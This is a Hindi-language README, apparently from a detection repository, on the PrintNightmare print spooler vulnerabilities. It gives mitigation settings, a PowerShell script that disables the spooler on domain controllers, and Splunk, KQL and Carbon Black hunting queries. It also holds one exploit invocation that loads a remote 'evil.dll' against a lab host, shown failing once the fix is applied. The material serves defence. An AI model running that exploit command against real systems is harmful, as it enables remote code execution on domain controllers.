
CVE-2021-1675 पता लगाने की जानकारी
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527
इस रिपॉजिटरी में CVE-2021-1675 और CVE-2021-34527 हमले का एक EVTX नमूना है, साथ ही एक न्यूनतम Sysmon कॉन्फ़िगरेशन फ़ाइल भी है जिसका उपयोग प्रासंगिक टेलीमेट्री उत्पन्न करने के लिए किया जा सकता है।
कृपया ध्यान दें कि इन नियमों को दरकिनार किया जा सकता है - कृपया उचित रूप से पैच करें और डोमेन नियंत्रकों पर प्रिंटर स्पूलर सेवा को अक्षम करें।
कृपया उत्पादन में रोलआउट करने से पहले सभी अनुशंसित सुधारों का परीक्षण करें, क्योंकि इन सुदृढ़ीकरण परिवर्तनों के परिणामस्वरूप अनपेक्षित परिणाम हो सकते हैं। हमने इस रिपॉजिटरी की सामग्री और पाई गई जानकारी की व्याख्या करते हुए एक ब्लॉग पोस्ट लिखा है। यहाँ: https://labs.lares.com/detection-and-mitigation-printnightmare/
Benjamin Delpy का धन्यवाद, इस मुद्दे की शोषण क्षमता पर एक अद्यतन प्रवाह चार्ट है, यह निर्धारित करने के लिए कि क्या आपके सिस्टम संभावित रूप से असुरक्षित हैं।

Security Settings -> System Services -> Print Spooler -> Disable
HKLM\SYSTEM\CurrentControlSet\Services\Spooler\Start = 4Computer Configuration -> Administrative Templates -> Printers -> Allow Print Spooler to accept client connections - > Disable
HKLM\Software\Policies\Microsoft\Windows NT\Printers\RegisterSpoolerRemoteRpcEndPoint = 2Printers -> Point and Print Restrictions -> Security Prompts -> When installing drivers for a new connection -> Show warning and elevation prompt
HKLM\Software\Policies\Microsoft\Windows NT\Printers\PointAndPrint = 0HKLM\SOFTWARE\Microsoft\Windows\CurrrentVersion\Policies\System\EnableLUA = 1माइक्रोसॉफ्ट द्वारा जून 2021 में जारी किया गया पैच CVE-2021-1675 को पैच करता है, लेकिन दुर्भाग्य से यह PrintNightmare (CVE-2021-34527) के रूप में जानी जाने वाली समस्या को ठीक नहीं करता है, इसलिए प्रिंटर स्पूलर सेवा को अक्षम करके एक समाधान लागू किया जा सकता है। यहाँ GPO और PowerShell दोनों पर ऐसा करने का तरीका बताया गया है। यह पुष्टि की गई है कि GPO MS-RPRN RpcAddPrinterDriverEx फ़ंक्शन और Win32 AddPrinterDriverEx फ़ंक्शन दोनों को ठीक करता है, जिसका SharpPrintNightmare उपयोग करता है।
निम्नलिखित GPO को स्पूलर के लिए क्लाइंट कनेक्शन को अस्वीकार करने के लिए सेट किया जा सकता है, जो एक संभावित समाधान है जहां स्पूलर सेवा को पूरी तरह से अक्षम करना एक विकल्प नहीं हो सकता है। इसका प्रयोगशाला वातावरण में डोमेन नियंत्रकों और एंडपॉइंट्स (W7/W10) के खिलाफ परीक्षण किया गया है और उपयोगकर्ता अभी भी प्रिंटर जोड़/हटा सकते हैं और प्रिंट कर सकते हैं, हालांकि यह एक्सप्लॉइट को काम करने से रोकता है। नोट: यह भी समझा जाता है कि यह GPO CVE-2021-34527 को भी ठीक करता है जैसा कि Microsoft के भेद्यता पृष्ठ पर उल्लेख किया गया है।
Computer Configuration -> Administrative Templates -> Printers -> Allow Print Spooler to accept client connections
इसे Disabled पर सेट करें:

फिर प्रभावित होस्ट पर स्पूलर सेवा को पुनरारंभ करें। सब ठीक रहने पर, एक्सप्लॉइट तक पहुंच से वंचित कर दिया जाएगा:
./CVE-2021-1675.py lares.labs/[email protected] '\\certer.lares.labs\share\evil.dll' 1 ⨯
Password:
[*] Try 1...
[*] Connecting to ncacn_np:192.168.1.157[\PIPE\spoolss]
[-] Connection Failed
एक अन्य सुधार/समाधान प्री-विंडोज 2000 संगत पहुंच से प्रमाणित उपयोगकर्ताओं को हटाना है, जैसा कि Dirk-jan द्वारा खोजा गया।

सुनिश्चित करें कि "Authenticated Users" समूह "Pre-Windows 2000 Compatible Access group" के सदस्य नहीं हैं। (डिफ़ॉल्ट रूप से, ये समूह वर्तमान विंडोज़ संस्करणों में शामिल नहीं हैं।) जैसा कि नीचे स्क्रीनशॉट में दिखाया गया है, कोई सदस्य नहीं होना चाहिए:

यदि ऐसा करने के तरीके के बारे में संदेह है, तो निम्नलिखित चरणों का पालन किया जा सकता है:
डोमेन से सभी DC को खींचने के लिए ADDomainController का उपयोग करने के लिए 0gtweet का स्क्रिप्ट अनुकूलित किया गया
# the script STOP and DISABLES Print Spooler service (aka #PrintNightmare) on each server from the list below IF ONLY DEFAULT PRINTERS EXIST.
# revert if you need: go to services.msc, find the "print spooler" service, change startup type to "automatic" and start the service.
# Source: https://github.com/gtworek/PSBits/blob/master/Misc/StopAndDisableDefaultSpoolers.ps1
#
# Requirements RSAT
# Get-Module -Name ActiveDirectory
# Import-Module -Name ActiveDirectory
$computers = Get-ADDomainController -filter * | %{ $_.name }
foreach ($computer in $computers)
{
Write-Host "Processing $computer ..."
$service = Get-Service -ComputerName $computer -Name Spooler -ErrorAction SilentlyContinue
if (!$service)
{
Write-Host "Cannot connect to Spooler Service on $computer. Skipping." -ForegroundColor Yellow
continue
}
if ($service.Status -ne "Running")
{
Write-Host ("Service status is: """ + $service.Status + """. Skipping.") -ForegroundColor Yellow
continue
}
$printers = (Get-WmiObject -class Win32_printer -ComputerName $computer)
if (!$printers)
{
Write-Host "Cannot enumerate printers. Skipping." -ForegroundColor Yellow
continue
}
$disableSpooler = $true
foreach ($DriverName in ($printers.DriverName))
{
if (($DriverName -notmatch 'Microsoft XPS Document Writer') -and ($DriverName -notmatch 'Microsoft Print To PDF'))
{
Write-Host " Printer found: $DriverName" -ForegroundColor Green
$disableSpooler = $false
}
}
if ($disableSpooler)
{
Write-Host "Only default printers found. Stopping and disabling spooler..." -ForegroundColor DarkCyan
(Get-Service -ComputerName $computer -Name Spooler) | Stop-Service -Verbose
Set-Service -ComputerName $computer -Name Spooler -StartupType Disabled -Verbose
}
else
{
Write-Host "Non-default printers found. Skipping." -ForegroundColor Green
}
}
दिया गया Sysmon कॉन्फ़िगरेशन CVE-2021-1675.xml फ़ाइल Sysmon Config Pusher के साथ स्थापित की जा सकती है: https://github.com/LaresLLC/SysmonConfigPusher
index=sysmon EventCode=7 Image="C:\\Windows\\System32\\spoolsv.exe" NOT (Signature="Microsoft Windows" SignatureStatus=Valid)
| stats values(ImageLoaded),values(TargetObject),values(Details),values(TargetFilename)
Print Spooler शोषण के लिए शिकार करने का एक सामान्य तरीका पेलोड DLL के लोड होने के कारण प्रिंट स्पूलर द्वारा उत्पन्न त्रुटि को देखना है। यह spoolsv.exe द्वारा WerFault.exe के स्पॉनिंग या प्रिंट स्पूलर सेवा के अप्रत्याशित समाप्ति को दर्शाने वाले Event ID 7031 की पीढ़ी को देखकर किया जा सकता है।
((index=sysmon EventCode=1
ParentImage="C:\\Windows\\System32\\spoolsv.exe" Image="C:\\Windows\\System32\\WerFault.exe")
OR (index=windows Channel=System EventCode=7031
Message="The Print Spooler service terminated unexpectedly"))
cube0x0 के कार्यान्वयन के शोषण के कई परीक्षणों के बाद, एक अतिरिक्त कलाकृति पाई गई: Event ID 5145 जिसमें Share Name: \\*\IPC$ और Relative Target Name: spoolss है। इस दृष्टिकोण का लाभ यह है कि आप हमले को अंजाम देने के लिए उपयोग किए जाने वाले स्रोत IP (Source Address) और खाता (Security ID या Account Name) देख सकते हैं। वास्तविक प्रिंट सर्वर से झूठी सकारात्मकता हो सकती है, लेकिन उन्हें होस्टनाम और Access Mask द्वारा फ़िल्टर किया जा सकता है। अन्य झूठी सकारात्मकता हो सकती है जिन्हें hostname-username-access mask के संयोजन से फ़िल्टर किया जा सकता है।
index=windows_security EventCode=5145 Share_Name="\\\\*\\IPC$" Relative_Target_Name=spoolss
let serverlist=DeviceInfo
| where DeviceType != "Workstation"
| distinct DeviceId;
let suspiciousdrivers=DeviceImageLoadEvents
| where DeviceId in (serverlist)
| where FolderPath startswith @"c:\windows\system32\spool\drivers"
| distinct SHA1
| invoke FileProfile(SHA1, 1000)
| where GlobalPrevalence < 50 and IsRootSignerMicrosoft != 1 and SignatureState != "SignedValid";
suspiciousdrivers
| join kind=inner (DeviceImageLoadEvents
| where DeviceId in (serverlist)
| where FolderPath startswith @"c:\windows\system32\spool\drivers") on SHA1
| where InitiatingProcessFileName != "ccmexec.exe"
स्रोत: https://twitter.com/olafhartong/status/1410229699993874442




स्रोत: https://github.com/mrezqi/CVE-2021-1675_CarbonBlack_HuntingQuery/blob/main/README.md
filemod_name:c\:\\windows\\system32\\spool\\drivers\\x64\\3\\old\\1\\123
(modload_name:c\:\\windows\\system32\\spool\\drivers\\x64\\3* OR modload_name:c\:\\windows\\system32\\spool\\drivers\\x64\\3\\old*) AND parent_cmdline:spoolsv\.exe
(modload_name:c\:\\windows\\system32\\spool\\drivers\\x64\\3* OR modload_name:c\:\\windows\\system32\\spool\\drivers\\x64\\3\\old*) AND process_name:spoolsv\.exe
process_name:spoolsv\.exe AND NOT filemod_publisher_state:FILE_SIGNATURE_STATE_SIGNED
process_name:spoolsv\.exe AND filemod_publisher_state:FILE_SIGNATURE_STATE_SIGNED AND NOT filemod_publisher:"Microsoft Windows*"
हमलों और हंटिंग क्वेरी का संदर्भ देने वाले ट्वीटर पोस्ट
Benjamin Delpy के माध्यम से डोमेन नियंत्रक बनाम गैर-डोमेन नियंत्रक अवलोकन:
Stan Hegt of Outflank द्वारा एक बहुत ही उपयोगी प्रवाह चार्ट
Microsoft से नया CVE असाइनमेंट:
SANS ICS डायरी: